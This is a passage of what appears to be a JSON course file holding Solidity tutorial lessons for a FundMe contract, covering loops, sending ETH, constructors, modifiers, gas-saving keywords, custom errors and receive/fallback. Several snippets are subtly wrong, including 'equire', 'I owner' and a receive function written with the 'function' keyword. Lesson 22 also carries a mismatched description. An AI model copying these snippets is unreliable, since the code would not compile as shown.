adapting to new changes, we can make the most of the versatile, yet intricate world of Solidity development.\nKeep learning and we will see you on the next chapter!\n", + "updates": [] + }, + { + "id": "ac452aa0-0d21-468f-b1b6-aafa7cd7a811", + "number": 16, + "title": "Solidity for Loop", + "slug": "solidity-for-loop", + "folderName": "16-for-loop", + "description": "This lesson teaches the concept of for loops in Solidity, demonstrating how they can be used to access and manipulate arrays. It focuses on practical applications in a smart contract, particularly for iterating over arrays and resetting mappings.", + "duration": 5, + "videoUrl": "HSCJFwoi6ew", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/16-for-loop/+page.md", + "markdownContent": "---\ntitle: For Loop\n---\n\n_Follow along this chapter with the video bellow_\n\n\n\nHey there, awesome learners! In the previous lesson, we've managed to get the basics of the math for our `FundMe` contract. Up to now, people can send us money and we keep track of them - a crucial foundation for our contract. Now, we are ready to move to the next step of our project: withdrawing the accumulated funds. After withdrawing, we'll also reset all the mappings back to zero. We'll accomplish this using a concept known as a for loop.\n\n## Understanding for Loops\n\nIn many programming languages, you'll encounter the concept of a for loop. Essentially, a for loop enables us to loop through a list or execute a block of code a designated number of times.\n\nFor instance, consider this list:\n\n```js\nList_Example = [1, 2, 3, 4];\n```\n\nThe elements of the list are the numbers 1 through 4, with indices ranging from 0 through 3; i.e., 1 is at the 0th index, 2 is at the first index, and so forth.\n\nTo access all the elements in this list, we would loop from 0 to 3. You can identify elements via their indexes.\n\nThis looping process uses the `for` keyword. A typical `for` loop structure in programming languages can initialize at some starting index, iterate until an end index, and increment by certain steps. For instance, starting at index 0, ending at index 10, and incrementing by 1 each time would get you:\n\n```\n0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10\n```\n\nHowever, starting at the 3rd index, ending at the 12th index, and incrementing by 2 each time would get you:\n\n```\n3, 5, 7, 9, 11\n```\n\nIn this process, we can capture the essence of the `for` loop: repeat a set of actions for a determined sequence of values.\n\n## Using for Loops in Solidity: Fund Me Contract\n\nLet us implement this concept in our project.\n\n```js\nuint256 funderIndex;\nfor(funderIndex = 0; funderIndex < funders.length; funderIndex++) {\n address funder = funders[funderIndex];\n addressToAmountFunded[funder] = 0;\n }\n```\n\nLet's dissect this block of code. The loop begins at the 0th index and traverses through the `funders` array until it reaches the final element. With each iteration, it accesses the `funderAddress` at the current index and then resets the corresponding funding amount in the `addressToAmountFunded` mapping to zero, effectively clearing the record of the associated donation.\n\n\n\nAdditionally, we have used two shortcuts in our code.\n\n1. `funderIndex++`: Instead of writing `funderIndex = funderIndex + 1`, we can use the `++` operator to simplify the increment by one within the loop.\n2. `+=`: Another handy shorthand is `+=`, used when you want to add something to an existing value. Instead of writing `x = x + y`, you can write `x += y`.\n\nLet's summarize the for loop process in our case. We start from `funderIndex` 0, get the address of the funder at the 0th position in our funder array, and set the amount they funded to zero in our mapping. After that, we increment `funderIndex` by 1 and check whether it is still less than the total number of funders. We then get the address of the funder at the first position, again set their funding amount to zero, and continue this process until `funderIndex` equals the total number of funders.\n\nWith our `withdraw` function, we can now access and withdraw the money our contract has raised. Once we've withdrawn the money, we clear all previous records and ready ourselves for new transactions. This gives us a clean slate, symbolising the precise management of funds in our financing smart contract.\n\nThis is just an illustration of how important and useful loops can be in programming and development of smart contracts. Indeed, familiarity with loops is a crucial aspect of becoming a competent developer - they help us write clean, efficient, and repetitive code blocks.\n\nStay tuned for more updates on our developing smart contract!\n", + "updates": [] + }, + { + "id": "82088b31-f119-4d15-b2ec-f6fa644e626f", + "number": 17, + "title": "Resetting an Array", + "slug": "solidity-reset-an-array", + "folderName": "17-resetting-an-array", + "description": "A guide on effectively resetting arrays in Solidity, particularly within the context of smart contracts. The lesson addresses the importance of resetting arrays for managing and updating contract states, and demonstrates the process using practical examples.", + "duration": 2, + "videoUrl": "0KRhBO6JgSM", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/17-resetting-an-array/+page.md", + "markdownContent": "---\ntitle: Resetting an Array\n---\n\n_Follow along this chapter with the video bellow_\n\n\n\nIn the previous lesson on smart contracts in Ethereum, we discussed how to handle value funds and introduced the `mapping` keyword with Ethereum's Solidity. In this stage of our course, our main focus will be on how to reset an array effectively and to withdraw funds appropriately from our smart contract.\n\nNow, you might remember that we have two overdue tasks from our last session:\n\n1. Resetting the array\n2. Withdrawing the funds\n\nLet's get started by tackling these one by one.\n\n## Resetting the Array\n\nWe have previously learned that one can accumulate value in the `msg.value` function with a fund function and then subsequently reset the funders array. For this purpose, we can adopt the same tactic we previously employed with 'mapping'; accessing and resetting each single address at each index.\n\nHowever, there also exists a simpler solution: let's just recreate the whole funders array anew! Here's how you can do that:\n\n```js\nfunders = new address[](0);\n```\n\nThe `new` keyword, you may recall, we used in a different context within our last course - deploying a contract. Its use here, however, is to reset the `funders` array. This equates to initializing a brand-new, blank address array.\n\nI want to take a moment here to remind you that this particular use might initially seem perplexing. Nonetheless, it is crucial not to let it deter your learning progress.\n\n\n\nNow that we successfully reset the array, our next step would be to handle the fund withdrawal from the contract.\n\n## Withdrawing the Funds\n\nFor this section, I would refer back to a course we had done previously as the content to withdraw funds aligns precisely with this function. If you need a refresher.\n\nRemember, even if we're dealing with a smart contract this round, the concept remains the same, even in a JavaScript runtime environment, like Remix VM.\n\nCode functionality, be it resetting arrays or withdrawing funds, may seem simple on the surface but they carry great weight in the realm of smart contracts. Remember, clarity of function and security of execution is the mantra to follow in our line of work. Remain persistent and keep exploring. Happy coding!\n", + "updates": [] + }, + { + "id": "a87b6e64-814d-477e-bd2e-8a40c296ed3d", + "number": 18, + "title": "Sending ETH from a contract", + "slug": "sending-eth-from-a-contract", + "folderName": "18-sending-eth-from-a-contract", + "description": "An exploration of three methods for sending Ether from a contract in Solidity: transfer, send, and call. The lesson compares these methods, discussing their syntax, behavior, and appropriate use cases, with a focus on their gas usage and security implications.", + "duration": 8, + "videoUrl": "Z_HPzbzZ-k4", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/18-sending-eth-from-a-contract/+page.md", + "markdownContent": "---\ntitle: Transfer, Send and Call\n---\n\n_Follow along this chapter with the video bellow_\n\n\n\nOne important aspect is understanding how to securely and effectively withdraw funds from a smart contract. This tutorial explores three different methods of doing this – `transfer`, `send`, and `call`. We will examine their differences, understand how each one works, and determine when to use each strategy.\n\n## Transfer Function In Ethereum\n\nWe start by discussing the `transfer` function, mostly due to its simplicity and straightforwardness. Here is a basic representation of how to use this function:\n\n```js\npayable(msg.sender).transfer(address(this).balance);\n```\n\nWe utilize `msg.sender` which refers to the address initiating the transaction. The `transfer` function is used to send the specified amount of Ether (or the native cryptocurrency on the current blockchain).\n\nIt is worth noting the necessity of converting the `msg.sender` to a payable address to facilitate the transfer. This is achieved by wrapping the `msg.sender` with the `payable` keyword.\n\nHowever, `transfer` has a significant limitation. It can only use up to 2300 gas and it reverts any transaction that exceeds the gas limit. When your transaction requires more gas, this function fails and reverts the transaction entirely. Additionally, [Solidity by example](https://solidity-by-example.org/sending-ether/) offers an excellent reference point for this discussion.\n\n## Send Function\n\nOur second method is the `send` function. Syntax-wise, it is similar to `transfer`, but it has a slightly different behavior. Here is how you would write it:\n\n```js\nbool success = payable(msg.sender).send(address(this).balance);\nequire(success, \"Send failed\");\n```\n\nSimilar to the `transfer` function, `send` also has a gas limit of 2300. However, instead of completely reverting the transaction, it returns a Boolean value (`true` or `false`) to indicate the success or failure of the transaction. In case of failure, the contract is still intact. It is your responsibility as a developer to ensure that errors are caught, which is the purpose of `require(success, \"Send failed\");`. This line of code enforces that the send operation must be successful.\n\n## Call Function\n\nFinally, the `call` function is the most flexible and powerful of the three. It can be used to call virtually any function in Ethereum without requiring the function's abi (application binary interface). More importantly, it does not have a capped gas limit. It forwards all available gas to the transaction.\n\n```js\n(bool success, ) = payable(msg.sender).call{value: address(this).balance}(\"\");\nrequire(success, \"Call failed\");\n```\n\nTo send funds using the `call` function, we modify our syntax slightly by including squiggly brackets `{'{'}...{'}'}`, where we can add details about the transaction, such as the value being transacted.\n\nThe `call` function also returns two variables: a Boolean for success or failure, and a byte object which stores returned data if any. The code `require(success, \"Call failed\");` ensures that the transaction must succeed, similar to the `send` method.\n\n\n\nHowever, understanding the difference between these three functions may be challenging initially. Don't worry! Continue experimenting and learning about lower-level functions and the concept of gas. Go back to this tutorial when you have a broader understanding of these topics.\n\nFeel free to refer to [Solidity, by example](http://solidity-by-example.org), which provides a comprehensive comparison among these three functions. To summarize, `transfer` throws errors when transactions fail and is capped at 2300 gas. `send` operates similarly but returns a Boolean value instead of reverting the entire transaction. `call`, on the other hand, forwards any available gas and is therefore not capped, returning a Boolean value similar to `send`.\n\nHopefully, this tutorial makes it clear how to use these three functions to send and transfer Ethereum or other blockchain native currency tokens.\n\nKeep Learning and we will see you in the next chapter!\n", + "updates": [] + }, + { + "id": "38e91f6c-1127-4ef3-961c-ed859b75546f", + "number": 19, + "title": "Smart contract constructor", + "slug": "solidity-smart-contract-constructor", + "folderName": "19-constructor", + "description": "This lesson focuses on using the constructor function in Solidity for role assignment, particularly for setting a contract owner. It discusses the security implications and demonstrates how to restrict certain functionalities, like fund withdrawal, to the owner.", + "duration": 4, + "videoUrl": "GCi3LWYSk_g", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/19-constructor/+page.md", + "markdownContent": "---\ntitle: Constructor\n---\n\n_Follow along this chapter with the video bellow_\n\n\n\n# Solidity: Bolstering Contract Security\n\nWelcome to another exciting guide on Solidity. In this blog, we will further explore the complex, puzzling, but intriguing world of smart contracts. Our primary focus will be on securing the withdrawal functions in contracts. This effort ensures that only contract owners can withdraw funds, not just any layperson.\n\nTo sweeten the deal, I'll be using the same code we used in the previous video tutorial. Thus those familiar with the old code (or those brave enough to peek at the previous guide) will be at ease. Now let's dive in!\n\n## Addressing the Security Gap\n\nEvery complex code has a potential loophole, and our contract code is no exception. In our current setup, anyone - you heard me correctly, anyone - can call the `withdraw` function and empty all the funds from the contract. Unacceptable, right? So we need to seal that loophole tightly, and the best way to do this is by restricting the withdrawal privilege to only the contract owner.\n\n\n\n## Implementing the Constructor for Role Assignment\n\nThe crucial question now becomes: How can we set up this contract such that only the contract owner can call the `withdraw` function?\n\nWe could try to create a function, let's name it `callMeRightAway`. This function would assign the role of contract owner to the contract's creator as soon as the contract is deployed. However, this would require two transactions. As engineers, we strive for efficiency; we need a leaner solution.\n\nLuckily for us, Solidity has a tool built for this task: the Constructor function. For those familiar with other programming languages, you'll notice the Constructor function is quite similar across the spectrum.\n\nIn Solidity, creating a constructor function is straightforward:\n\n```js\nconstructor() {}\n```\n\nNote that we don't use the `function` keyword, nor do we need the `public` keyword. Remix will even conveniently highlight it pink for us.\n\n## Using Constructor to Assign Contract Owner\n\nNow that we have our constructor sorted out, let's discuss its functionality. The constructor function is immediately and automatically called when you deploy your contract, within the same transaction that deploys the contract.\n\nGiven this attribute, we can use the constructor to set an address as the contract's owner right after the contract's deployment.\n\n```js\naddress public owner;\nconstructor() {\n owner = msg.sender;\n}\n```\n\nHere, we initiated `address public owner;` a global variable which will hold the contract owner address. Then in the constructor function, we assign `msg.sender` to the owner variable. In this context, `msg.sender` refers to the contract's deployer.\n\n## Modifying the Withdraw Function\n\nWith the contract owner now set using the `constructor`, the next step is to update the `withdraw` function, ensuring it can only be called by the owner.\n\n```js\nfunction withdraw() public {\n require(msg.sender == owner, \"must be owner\");\n}\n```\n\nThe `require` keyword checks to ensure that the `msg.sender`, which, as we noted earlier, refers to the caller of the function, must be the owner. If the caller isn't the owner, the operation reverts with an error message \"must be owner.\"\n\n## Wrapping Up\n\nThis modification essentially restricts the access to the `withdraw` function to the contract's owner, sealing the security loophole we identified earlier.\n\nOnce you've updated your contract, you're free to deploy, test your code, and appreciate the efficiency of our new smart contract. With this, you have a more secure and efficient contract.\n\nHappy Coding!\n", + "updates": [] + }, + { + "id": "34ce586a-265f-4ab8-9c7f-0b4dc8fd9c72", + "number": 20, + "title": "Solidity function modifiers", + "slug": "solidity-function-modifiers", + "folderName": "20-modifiers", + "description": "A deep dive into the use of function modifiers in Solidity. The lesson covers how modifiers can streamline code, especially for administrative functions, and includes practical examples to illustrate the implementation and benefits of using modifiers in contracts.", + "duration": 3, + "videoUrl": "FfBPHTBSzk0", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/20-modifiers/+page.md", + "markdownContent": "---\ntitle: Modifiers\n---\n\n_Follow along this chapter with the video bellow_\n\n\n\nIn an earlier lesson, we looked at Solidity and how to create smart contracts on the Ethereum blockchain. One of the most useful aspects of Solidity, especially when dealing with functions that should only be called by a certain administrator or contractor, are its modifiers. In this piece, we are going to dive deep into how modifiers can simplify our code and boost productivity.\n\n## The Problem with Repeated Conditions\n\nLet's imagine we have a smart contract full of administrative functions; these functions should only be executed by the contract owner. The straightforward way to achieve this is by adding a condition to every function to check whether the caller (message sender) is the owner:\n\n```js\nrequire(msg.sender == owner, \"Sender is not owner\");\n```\n\nHowever, having to copy and paste this line of code in every function is a surefire way to clutter our contract, making it more difficult to read, maintain, and debug. What we need is a technique or tool to bundle up this common functionality and apply it to our functions when necessary. This is where Solidity's modifiers come into play.\n\n## Introducing Solidity Modifiers\n\nA modifier in Solidity allows us to embed functionality easily and quickly within any function. They are like regular functions but are used to modify the behavior of the functions in our contract. Let’s create our first modifier.\n\nHere is how we create a modifier:\n\n```js\nmodifier onlyOwner {\n require(msg.sender == owner, \"Sender is not owner\");\n _;\n}\n```\n\n**Note**: The modifier's name is 'onlyOwner', mimicking the condition it checks. There's also this weird underscore (`_`) sitting right there in our code.\n\n### Understanding the `_` (Underscore) in Modifiers\n\nThe underscore in the modifier signifies where the remaining code of our function will execute. So if you stick it right after the `require` statement, your function's logic will run only if the `require` condition is met.\n\nHere's an example of how we can apply the `onlyOwner` modifier to our contract's `withdraw` function:\n\n```js\nfunction withdraw(uint amount) public onlyOwner {}\n```\n\nNow when `withdraw` is called, the smart contract checks the `onlyOwner` modifier first. If the `require` statement in the modifier passes, the rest of the function's code is then executed. We can see how this not only streamlines our code, but also enhances visibility of function behaviours.\n\n## The Order of Underscores in Modifiers\n\n\n\nFor instance, assuming that all the necessary conditions in our `onlyOwner` modifier have been met, if we had the underscore above the `require` statement, the contract executes the `withdraw` function's code first before executing the `require` statement.\n\n## Summary\n\nIn essence, modifiers offer a smart and effective way of handling preconditions in our functions, without having to repeat lines of code. Now, the next time you find yourself having to copy, paste, and check the same line of conditions in multiple functions, consider using a modifier instead- because the best developers, they never work harder, they work smarter.\n\nIn upcoming lessons, we'll look into advanced modifier usages and explore more ways to optimize our smart contract code. Stay tuned!\n", + "updates": [] + }, + { + "id": "a47d88b5-9ca7-49b4-bcde-eca953f80e67", + "number": 21, + "title": "Test the smart contract without a testnet", + "slug": "testnet-demo", + "folderName": "21-testnet-demo", + "description": "A guide to testing Solidity contracts without deploying to a testnet, focusing on compiling, deploying, and interacting with the 'FundMe.sol' contract. The lesson includes steps for using MetaMask, tracking transactions, and ensuring successful contract interaction.", + "duration": 5, + "videoUrl": "Xt7tzGhMMII", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/21-testnet-demo/+page.md", + "markdownContent": "---\ntitle: Testnet Demo\n---\n\n_Follow along this chapter with the video bellow_\n\n\n\nIn this lesson, we'll explore end-to-end testing of a Solidity contract deployment and execution without actually deploying to a testnet. However, if you wish to follow along and deploy on a testnet, feel free to do so.\n\n## Getting Started\n\nFirst off, let's compile our `FundMe.sol` Solidity contract to check if our code is correct. If any contracts were deployed previously, delete them so that you can start fresh.\n\n\n\nNow, set the **injected provider** to MetaMask and check if it's synced to the correct testnet. Validate that you have some ether (ETH) available in your wallet for testnet transactions.\n\n\n\n## Locating and Selecting the Contract\n\nNext, we'll navigate to our contract area to identify the correct contract we wish to deploy. If you attempt to deploy an interface, an alert message like, _\"This contract might be abstract\"_ will pop up. However, we'll be deploying the `FundMe` contract. Hit deploy and confirm in MetaMask.\n\nNote that the contract's deployment might take some time, which you can track in the terminal.\n\n## Contract Interaction\n\nUpon successful deployment, you'll find several buttons to interact with your Solidity contract:\n\n- Red button for payable function `fund`\n- Orange button for non-payable withdrawing function\n- Blue buttons for `view` and `pure` functions\n\nThe fund button allows us to send ETH to the contract, the `owner` of the contract is our MetaMask account since we deployed this contract. The minimum value will be set to 5 USD.\n\nYou can call the `fund` function, provided you send some ETH along with it. If called without any value, you will encounter a gas estimation error, indicating insufficient ETH.\n\n```\nWarning: The fund() function encounter a gas estimation error, hinting that you might not have sent enough ETH along with your transaction!\n```\n\nAvoid wasting gas by cancelling the transaction and providing a sufficient amount.\n\n## Ensuring Successful Transaction\n\nSet the amount to 0.1 ETH (or an amount equivalent to the minimum USD amount) and hit confirm on MetaMask. You can track the transaction on etherscan.\n\nFollowing your transaction's successful processing, you'll see the contract’s balance increase by the set value. The `funders` array will register your address, and the mapping `addressToAmountFunded` will reflect your transaction.\n\nYou can check these changes in the ether scan transaction log, which will show the `fund` function call.\n\n## Withdraw Function and Errors\n\nNext, you can initiate the `withdraw` function to reset the mapping and the array. However, keep in mind that our contract set-up only permits the owner to withdraw.\n\nIf a non-owner account tries to withdraw, you will encounter another gas estimation error, indicating that the sender is not an owner. So, we revert to the owner account and initiate a successful withdrawal. Again, this can be tracked in the terminal.\n\nUpon successful withdrawal, the balance resets to zero. Additionally, the `funders` array and mapping also reset to their initial zero states. Attempting to call `addressToAmountFunded` with the same address returns zero.\n\n## Advanced Solidity Concepts\n\nRemember, the following section explores more sophisticated attributes of Solidity. Don't worry if you find difficulty understanding it the first time. Mastery of these concepts isn't necessary to continue.\n\nYou may remember that earlier editions of this tutorial deployed to the Rinkeby testnet, while latest versions encourage deployment to the Sepolia testnet or the most contemporary testnet. Alternatively, you can follow along without deploying to a testnet.\n\nIn this section, we'll explore advanced Solidity pieces focused on efficient gas usage, coding practices that make your code cleaner, and improving overall coding practices. You'll want to pay close attention to these concepts if you aim to excel as an Ethereum Smart Contract coder.\n\nAlways remember that when we refer to the JavaScript VM, we mean the Remix VM. Stay tuned for more fun and learning with Solidity in subsequent posts!\n", + "updates": [] + }, + { + "id": "10e8c090-dab6-499f-8f1e-0d3e1c4c8efb", + "number": 22, + "title": "Immutability and constants", + "slug": "solidity-immutability-and-constants", + "folderName": "22-immutability-and-constants", + "description": "A tutorial on optimizing Solidity smart contracts for gas efficiency using custom errors. The lesson explains the concept of custom errors and demonstrates how to use them for efficient error handling and reverts in smart contracts.", + "duration": 8, + "videoUrl": "BLLyOCo-GKU", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/22-immutability-and-constants/+page.md", + "markdownContent": "---\ntitle: Immutability and Constants\n---\n\n_Follow along this chapter with the video bellow_\n\n\n\nThe Solidity programming language provides tools for improving the efficiency of smart contracts. These tools can be useful when modifying existing contracts to achieve higher levels of professionalism. Although contracts might not reach an 'end to end' level of amazement, they can certainly become better. This blog post focuses on how to utilize these tools in the case of variables set only one time. We will explore this through the optimization of example variables, namely, `owner` and `minimumUSD`.\n\n## Identifying Variables for Optimization\n\nWe talk about `owner` and `minimumUSD` because once these variables are set in our contract, they never change again. Specifically, the `owner` gets set one time during our contract creation whereas the `minimumUSD` gets set one time outside of the constructor function itself. Solidity has some tools that make the process of setting these variables more gas efficient.\n\nLet's use an example contract, named `FundMe`, to illustrate this. We first compile and then deploy this contract onto a JavaScript virtual machine. Money related actions such as funding and withdrawing aren't operational since there's currently no Chainlink network on our JavaScript VM. However, that's not what we're primarily concerned with right now.\n\n## Evaluating the FundMe Contract\n\nOur concerns are twofold:\n\n1. The amount of gas required to send the contract.\n2. The gas cost required to create the contract.\n\nTo give a sense of scale, creating this contract initially costs about 859,000 gas. Throughout this lesson, we're going to learn some tricks to reduce this number.\n\n## Implementing Tricks: Constant and Immutable\n\nThe two tricks in focus today are `constant` and `immutable` keywords. The Solidity language provides these keywords to ensure that your variables remain unchanged. To understand these keywords in greater depth, consult the [Solidity documentation](https://solidity.readthedocs.io/).\n\nWe can apply the `constant` keyword to a variable that we assign once outside of a function and then never change afterwards. If it's assigned at compile time, we can add the `constant` keyword. Adding the 'constant' keyword has an additional benefit in that it prevents our variable from occupying a storage slot, thus making it easier to read.\n\n### Constant Optimization\n\nTo assess the benefits of adding the 'constant' keyword, let's contrast the gas usage between both contracts. Remarkably, applying the 'constant' keyword results in a saving of approximately 19,000 gas. This reduction is of the order of the gas cost necessary to send Ethereum. However, keep in mind that naming conventions for 'constant' variables usually involve all caps with underscores (e.g. `MINIMUM_USD`).\n\nA little experiment to corroborate this: if we remove the 'constant' keyword and repeat all actions, the system indeed shows higher gas cost for non-'constant' variables. This might not make much difference in cheaper chains but for expensive chains like Ethereum, it's going to be significant.\n\n- As an aside, to convert gas cost to actual monetary terms, you can take the current gas price of Ethereum and multiply this by the cost of calling our 'minimumUSD'.\n\n\n\n### Immutable Optimization\n\nWhile 'constant' variables are assigned outside of a function, 'immutable' keyword can be used in case we want to assign a variable within a function, but only once. A good practice for specifying 'immutable' variables is prefixing the variable with 'I\\_' (e.g. `i_owner`).\n\nFor our 'owner' variable, we can't set it in the global scope because no function is executing there. However, in functions, there's a message sender. So, we set `i_owner` to message sender within the function. We then modify our 'Require' statement in the contract to check against `i_owner` instead of 'owner'.\n\nComparing the gas usage after making 'owner' an 'immutable' variable, we observe savings similar to the 'constant' case.\n\n## Wrapping up and looking forward\n\nThese small gas optimization tricks will make a world of difference in running smart contracts. However, as you're learning Solidity, don't fret about making your contracts as gas efficient as possible from the get-go. As you become more seasoned and grasp Solidity efficiently, you can revisit and work on gas optimization.\n\n\n\nOptimized contracts store variables directly into the bytecode of the contract instead of storing them inside a storage slot. The implications of this fact will unfold more clearly as you grow in your Solidity journey, so stay tuned!\n", + "updates": [] + }, + { + "id": "76e2a14f-a694-430a-80bb-b5189b7186ec", + "number": 23, + "title": "Creating custom errors", + "slug": "solidity-custom-errors", + "folderName": "23-custom-errors", + "description": "A tutorial on optimizing Solidity smart contracts for gas efficiency using custom errors. The lesson explains the concept of custom errors and demonstrates how to use them for efficient error handling and reverts in smart contracts.", + "duration": 3, + "videoUrl": "IF-NH74fZMU", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/23-custom-errors/+page.md", + "markdownContent": "---\ntitle: Custom Errors\n---\n\n_Follow along this chapter with the video bellow_\n\n\n\n## Optimizing Smart Contracts for Gas Efficiency Using Custom Errors\n\nHello, everyone! It's great to have you back. In this lesson, we'll be taking strides to improve the efficiency of our smart contracts. Recently, we've emphasized making our contracts more gas-efficient. Little by little, we've introduced elements of gas efficiency — something I will be explaining further as we delve deeper into the complexities of smart contracts.\n\nFor now, let's not get too bogged down in the nitty-gritty details of these gas efficiencies. If you find the details too complex, don't sweat! We will elaborate on them later.\n\n## Existing Gas Optimizations\n\nWith recent enhancements, we're able to adopt more efficient approaches with our contracts. Let's discuss our current gas optimizations and how to improve yet further.\n\n## Enhancing Efficiency: Updating Requires\n\nOne way to elevate our gas efficiency is by updating our `require` statements. As it stands, our `require` statement forces us to store this 'sender is not an owner' as a string array. When you consider how each character in this error log is stored individually, it quickly becomes apparent that the logic required to manage it all can be bulky and inefficient, especially when there is a far more gas-friendly alternative available.\n\n## Utilize Custom Errors for Reverts\n\nIntroduced with Solidity 0.8.4, we can now take advantage of custom errors for our reverts. This feature allows us to declare errors at the top of our code, and utilize `if` statements instead of `require`. All our error calls will no longer need to address the entire error message string - instead, we'll simply call the error code.\n\nLet's break this down into a practical example.\n\nInstead of using the `require` statement, we could create a custom error of our own:\n\n```js\nerror NotOwner()\n```\n\nPlease note that this definition is out of the contract's scope. With our custom error defined named 'NotOwner', we can amend our 'onlyOwner' function.\n\nFirstly, we'll replace the `require` function with an `if` statement:\n\n```js\nif (msg.sender != I owner) {}\n```\n\nBy using the `revert` function with our newly-created 'NotOwner' error, we replace the necessity for the error string.\n\n```js\nrevert NotOwner();\n```\n\nThis strategy saves us resources as we no longer need to store or emit an extensive string, and instead, rely on the much more efficient error code.\n\nPlease bear in mind, this less efficient coding style is still prevalent as custom errors are relatively new to Solidity. Hence, becoming proficient in both methods will prove beneficial.\n\n\n\nWhile the current syntax is more abundant, I anticipate, as the shorthand syntax gains popularity, we will see a shift towards the more legible and compact style.\n\n## The Power of Revert\n\nThe \"revert\" keyword performs the same function as `require`, but it doesn't need a conditional statement beforehand. Therefore, it provides an efficient way to revert any transaction or function call midway through the function call.\n\nImproving our require statement is just one way to increase gas efficiency. We could convert all of our require statements to this more efficient form, but I'll leave some in their original state in this post to illustrate both methods.\n\nStay tuned for more posts where we delve deeper into the finer details of Solidity and its best practices.\n", + "updates": [] + }, + { + "id": "e1882df5-5415-4d86-b1d5-5aa6875f35c7", + "number": 24, + "title": "Implementing the receive fallback", + "slug": "receive-fallback", + "folderName": "24-receive-fallback", + "description": "This lesson covers the implementation of '_receive_' and '_fallback_' functions in Solidity. It explains their significance in handling Ether sent directly to a contract and demonstrates their practical application in a 'FundMe' contract scenario.", + "duration": 13, + "videoUrl": "sgaBmbsriwk", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/24-receive-fallback/+page.md", + "markdownContent": "---\ntitle: Receive & Fallback\n---\n\n_Follow along this chapter with the video bellow_\n\n\n\nIn Solidity, a hurdle can arise when users send Ether directly to a contract without passing through necessary function calls. This lesson provides a step-by-step guide on how to mitigate this issue using Solidity's special functions, namely `_receive_` and `_fallback_`.\n\nTo illustrate, take a contract that requires funding. Without passing through the specified function calls (e.g., the \"fund\" function), the contract would not track the funder nor update their details. If the contract aimed to reward funders, those who funded directly, bypassing the necessary function calls, would be overlooked. This lack of tracking could be whether the user misdialed the function or did not use a tool that notifies on probable transaction failure. But there is a solution — the _receive_ and _fallback_ functions.\n\n## Special Functions in Solidity\n\nTwo special functions in Solidity allow the triggering of certain code when users send Ether directly to the contract or call non-existent functions. These are the _receive_ function and the _fallback_ function. They cannot have arguments and don't return anything, thus needing external visibility and payable state mutability.\n\nIn simple terms, they are coded as follows:\n\n```js\nreceive() external payable { }\nfallback() external payable { }\n```\n\nTo experiment with this, let's create a separate contract.\n\n```js\n//SPX-License-Identifier: MIT\npragma solidity ^0.8.7;\ncontract FallbackExample {\n uint256 public result;\n receive() external payable {\n result = 1;\n }\n}\n```\n\nIn this contract, `result` is initialized to zero. Upon sending Ether to the contract, the `receive` function is triggered, hence `result` equals one.\n\nFor an added twist, we can code the contract to call a non-existent function upon sending Ether.\n\n```js\nfallback() external payable {result = 2;}\n```\n\nWith data in the transaction, the `receive` function isn't triggered. Instead, the contract seeks a matching function for the data input without finding one. Consequently, it defers to the `fallback` function. Hence, `result` equals two.\n\nAs an aside, the `fallback` function is also triggered when a contract is called with no valid function.\n\nThese two functions are brilliantly elucidated in a chart on SolidityByExample.org [here](https://solidity-by-example.org/fallback/).\n\n## Application on FundMe Contract\n\nWith this understanding, let's consider how to apply the special functions to our FundMe contract to ensure that every funder is tracked.\n\n```js\nreceive() external payable {\n fund();\n}\nfallback() external payable {\n fund();\n}\n```\n\nIn the event of a user sending Ether directly to the contract, instead of calling the `fund` function, the `receive` function picks it up and re-routes the transaction to `fund`.\n\n\n\nTest our updated FundMe contract on Sepolia, a 'real' testnet, substituting your contract's address:\n\nCopy the contract's address and send some Ether to it via MetaMask. On confirming the transaction, we should ideally see that the 'fund' function is being called.\n\nChecking back at Remix, the `funders` array will update to reflect the successful transaction. This signifies that the `receive` function rerouted the funding to the `fund` function properly.\n\nThis workaround ensures all transactions - correct or misdialed - are processed in the intended manner. Although a direct call to the `fund` function costs less gas, the user's contribution is acknowledged and credited.\n\nThanks for reading! Keep learning and we'll see you in the next lesson.\n", + "updates": [] + }, + { + "id": "84d77e62-a910-4104-a981-77dbf5887722", + "number": 25, + "title": "Congratulations", + "slug": "recap-congratulations-fundme", + "folderName": "25-recap-congratulations", + "description": "A recap of the advanced aspects of Solidity covered in previous lessons, highlighting the transition from using Remix to a code editor. The lesson congratulates learners on mastering Solidity basics and introduces upcoming advanced topics for further exploration.", + "duration": 3, + "videoUrl": "GjTUKo7k9HY", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/25-recap-congratulations/+page.md", + "markdownContent": "---\ntitle: Recap & Congratulations\n---\n\n_Follow along this chapter with the video bellow_\n\n\n\nWe've ventured into the advanced realm of Solidity, and it has been an enlightening journey, to say the least. Brace yourselves, because we're about to dig deeper. However, we're not using Remix this time around. We are migrating to a code editor for a more comprehensive view and working process of Solidity. And as we transition into advanced sections, let's pat ourselves on the back for mastering the majority of Solidity basics!\n\nBut do not rest on your laurels just yet, there's a whole ocean of knowledge still waiting to be explored.\n\n## Advanced Sections of Solidity\n\nThere's plenty to learn still, starting from `enums` `event_`, `try/catch` `function selectors`, and `abi encoding hashing`. It may seem daunting at first, but if you've made it this far, chances are, you can already decipher most Solidity code. Great job!\n\nBut for now, let’s summarize some of the advanced aspects we've come across.\n\n## Special Functions in Solidity\n\nIn the dazzling sphere of Solidity, we have some special functions, namely `receive`, `fallback`, and `constructor`.\n\nThese unique functions don't need the `function` keyword to be called.\n\n```js\nfunction receive() external payable { }\n```\n\nBoth `receive` and `fallback` are unique. They come into play when data is sent through a transaction, but no function was specified. Here, the transaction will default to the fallback function, provided it exists.\n\nAnd, if this data is empty and there's a `receive` function, the transaction will call this function instead.\n\n## Saving Gas with Keywords\n\nIn an era of rising gas prices, Solidity offers a couple of handy keywords like `constant` and `immutable` to help you save gas.\n\nThese keywords are for variables that can only be declared and updated once. A perfect example is:\n\n```js\nuint constant minimumUSD = 50 * 1e18;\n```\n\nIn this case, `minimumUSD` can never be changed again, thus saving gas.\n\nWhile similar to `constant`, `immutable` differs in allowing one-time variable declaration within the `constructor`. After declaration, the variable cannot be changed.\n\nAttempts to update either `constant` or `immutable` variables will be met with compiler errors explicitly stating they cannot be written to.\n\n## Sending Ether with Remix\n\nRemix 